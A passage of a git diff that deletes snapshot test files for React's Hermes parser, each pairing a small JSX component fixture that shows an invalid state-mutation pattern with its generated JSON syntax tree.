-                              "loc": null,
-                              "range": [
-                                193,
-                                200
-                              ]
-                            },
-                            "directive": null,
-                            "loc": null,
-                            "range": [
-                              193,
-                              201
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          185,
-                          207
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        179,
-                        207
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        179,
-                        207
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      174,
-                      207
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    174,
-                    208
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                151,
-                212
-              ]
-            },
-            "loc": null,
-            "range": [
-              56,
-              212
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "fn",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                222,
-                224
-              ]
-            },
-            "loc": null,
-            "range": [
-              215,
-              225
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          227
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        227
-      ],
-      "loc": null,
-      "range": [
-        0,
-        227
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    227
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-freeze-mutable-lambda-mutate-local.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-freeze-mutable-lambda-mutate-local.js.snap
deleted file mode 100644
index b3ea1c2842b9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-freeze-mutable-lambda-mutate-local.js.snap
+++ /dev/null
@@ -1,443 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-freeze-mutable-lambda-mutate-local.js
----
-Input:
-function Component(props) {
-  const x = {};
-  const onChange = (e) => {
-    // INVALID! should use copy-on-write and pass the new value
-    x.value = e.target.value;
-    setX(x);
-  };
-  return <input value={x.value} onChange={onChange} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onChange",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    60
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "e",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        64,
-                        65
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                140,
-                                141
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "value",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                142,
-                                147
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              140,
-                              147
-                            ]
-                          },
-                          "right": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "e",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  150,
-                                  151
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "target",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  152,
-                                  158
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                150,
-                                158
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "value",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                159,
-                                164
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              150,
-                              164
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            140,
-                            164
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          140,
-                          165
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "setX",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              170,
-                              174
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                175,
-                                176
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            170,
-                            177
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          170,
-                          178
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      70,
-                      182
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    63,
-                    182
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    63,
-                    182
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  52,
-                  182
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              183
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "input",
-                  "loc": null,
-                  "range": [
-                    194,
-                    199
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "value",
-                      "loc": null,
-                      "range": [
-                        200,
-                        205
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            207,
-                            208
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "value",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            209,
-                            214
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          207,
-                          214
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        206,
-                        215
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      200,
-                      215
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "onChange",
-                      "loc": null,
-                      "range": [
-                        216,
-                        224
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "onChange",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          226,
-                          234
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        225,
-                        235
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      216,
-                      235
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  193,
-                  238
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                193,
-                238
-              ]
-            },
-            "loc": null,
-            "range": [
-              186,
-              239
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          241
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        241
-      ],
-      "loc": null,
-      "range": [
-        0,
-        241
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    241
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-freeze-mutable-lambda-reassign-local.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-freeze-mutable-lambda-reassign-local.js.snap
deleted file mode 100644
index cf18469b0e1a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-freeze-mutable-lambda-reassign-local.js.snap
+++ /dev/null
@@ -1,364 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-freeze-mutable-lambda-reassign-local.js
----
-Input:
-function Component(props) {
-  let x = "";
-  const onChange = (e) => {
-    x = e.target.value;
-  };
-  return <input value={x} onChange={onChange} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "StringLiteral",
-                  "value": "",
-                  "loc": null,
-                  "range": [
-                    38,
-                    40
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  40
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              41
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onChange",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    58
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "e",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        62,
-                        63
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              74,
-                              75
-                            ]
-                          },
-                          "right": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "e",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  78,
-                                  79
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "target",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  80,
-                                  86
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                78,
-                                86
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "value",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                87,
-                                92
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              78,
-                              92
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            74,
-                            92
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          74,
-                          93
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      68,
-                      97
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    61,
-                    97
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    61,
-                    97
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  50,
-                  97
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              44,
-              98
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "input",
-                  "loc": null,
-                  "range": [
-                    109,
-                    114
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "value",
-                      "loc": null,
-                      "range": [
-                        115,
-                        120
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          122,
-                          123
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        121,
-                        124
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      115,
-                      124
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "onChange",
-                      "loc": null,
-                      "range": [
-                        125,
-                        133
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "onChange",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          135,
-                          143
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        134,
-                        144
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      125,
-                      144
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  108,
-                  147
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                108,
-                147
-              ]
-            },
-            "loc": null,
-            "range": [
-              101,
-              148
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          150
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        150
-      ],
-      "loc": null,
-      "range": [
-        0,
-        150
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    150
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-function-expression-mutates-immutable-value.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-function-expression-mutates-immutable-value.js.snap
deleted file mode 100644
index 0d08511df78c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-function-expression-mutates-immutable-value.js.snap
+++ /dev/null
@@ -1,515 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-function-expression-mutates-immutable-value.js
----
-Input:
-function Component(props) {
-  const [x, setX] = useState({ value: "" });
-  const onChange = (e) => {
-    // INVALID! should use copy-on-write and pass the new value
-    x.value = e.target.value;
-    setX(x);
-  };
-  return <input value={x.value} onChange={onChange} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        37,
-                        38
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "setX",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        40,
-                        44
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    36,
-                    45
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      48,
-                      56
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "value",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              59,
-                              64
-                            ]
-                          },
-                          "value": {
-                            "type": "StringLiteral",
-                            "value": "",
-                            "loc": null,
-                            "range": [
-                              66,
-                              68
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": false,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            59,
-                            68
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        57,
-                        70
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    48,
-                    71
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  71
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              72
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onChange",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    81,
-                    89
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "e",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        93,
-                        94
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                169,
-                                170
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "value",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                171,
-                                176
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              169,
-                              176
-                            ]
-                          },
-                          "right": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "e",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  179,
-                                  180
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "target",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  181,
-                                  187
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                179,
-                                187
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "value",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                188,
-                                193
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              179,
-                              193
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            169,
-                            193
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          169,
-                          194
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "setX",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              199,
-                              203
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                204,
-                                205
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            199,
-                            206
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          199,
-                          207
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      99,
-                      211
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    92,
-                    211
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    92,
-                    211
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  81,
-                  211
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              75,
-              212
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "input",
-                  "loc": null,
-                  "range": [
-                    223,
-                    228
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "value",
-                      "loc": null,
-                      "range": [
-                        229,
-                        234
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            236,
-                            237
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "value",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            238,
-                            243
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          236,
-                          243
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        235,
-                        244
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      229,
-                      244
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "onChange",
-                      "loc": null,
-                      "range": [
-                        245,
-                        253
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "onChange",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          255,
-                          263
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        254,
-                        264
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      245,
-                      264
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  222,
-                  267
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                222,
-                267
-              ]
-            },
-            "loc": null,
-            "range": [
-              215,
-              268
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          270
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        270
-      ],
-      "loc": null,
-      "range": [
-        0,
-        270
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    270
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-mutate-after-aliased-freeze.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-mutate-after-aliased-freeze.js.snap
deleted file mode 100644
index 9f9f0f007ce3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-mutate-after-aliased-freeze.js.snap
+++ /dev/null
@@ -1,524 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-mutate-after-aliased-freeze.js
----
-Input:
-function Component(props) {
-  let x = [];
-  let y = x;
-
-  if (props.p1) {
-    x = [];
-  }
-
-  let _ = <Component x={x} />;
-
-  // y is MaybeFrozen at this point, since it may alias to x
-  // (which is the above line freezes)
-  y.push(props.p2);
-
-  return <Component x={x} y={y} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    40
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  40
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              41
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    48,
-                    49
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    53
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  48,
-                  53
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              44,
-              54
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  62,
-                  67
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "p1",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  68,
-                  70
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                62,
-                70
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        78,
-                        79
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        82,
-                        84
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      78,
-                      84
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    78,
-                    85
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                72,
-                89
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              58,
-              89
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "_",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    97,
-                    98
-                  ]
-                },
-                "init": {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "Component",
-                      "loc": null,
-                      "range": [
-                        102,
-                        111
-                      ]
-                    },
-                    "attributes": [
-                      {
-                        "type": "JSXAttribute",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "x",
-                          "loc": null,
-                          "range": [
-                            112,
-                            113
-                          ]
-                        },
-                        "value": {
-                          "type": "JSXExpressionContainer",
-                          "expression": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              115,
-                              116
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            114,
-                            117
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          112,
-                          117
-                        ]
-                      }
-                    ],
-                    "selfClosing": true,
-                    "loc": null,
-                    "range": [
-                      101,
-                      120
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": null,
-                  "loc": null,
-                  "range": [
-                    101,
-                    120
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  97,
-                  120
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              93,
-              121
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
